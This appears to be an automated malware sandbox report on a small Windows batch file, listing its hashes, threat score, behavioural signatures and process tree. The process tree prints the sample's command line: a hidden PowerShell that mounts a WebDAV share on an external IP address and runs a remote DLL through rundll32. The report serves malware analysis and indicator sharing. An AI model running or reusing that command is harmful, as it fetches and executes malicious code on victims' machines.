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Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 06:05

General

  • Target

    1969732479259286114.bat

  • Size

    2KB

  • MD5

    727e7529433f7aa759bc70a3a19526f5

  • SHA1

    c9d29f4e470df3b65cd73d8dde52c4967b9a2ea9

  • SHA256

    bb58d6217b5098bffcf750f1d6c51d6cf4d0d10de4df89e3e88fdb813b87f266

  • SHA512

    b2873627be5e0dc32eab95978ee0590cf245ac25f4ac80b6a30e75e5c395bb23aaa9212ea0e79becf8d7363cc1dfa8ca1cde126320060126d77fe19235f4325f

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1969732479259286114.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2811.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2676
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2811.dll entry
          3⤵
            PID:2532

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2236-23-0x000000001B620000-0x000000001B902000-memory.dmp

        Filesize

        2.9MB

      • memory/2236-24-0x0000000002790000-0x0000000002798000-memory.dmp

        Filesize

        32KB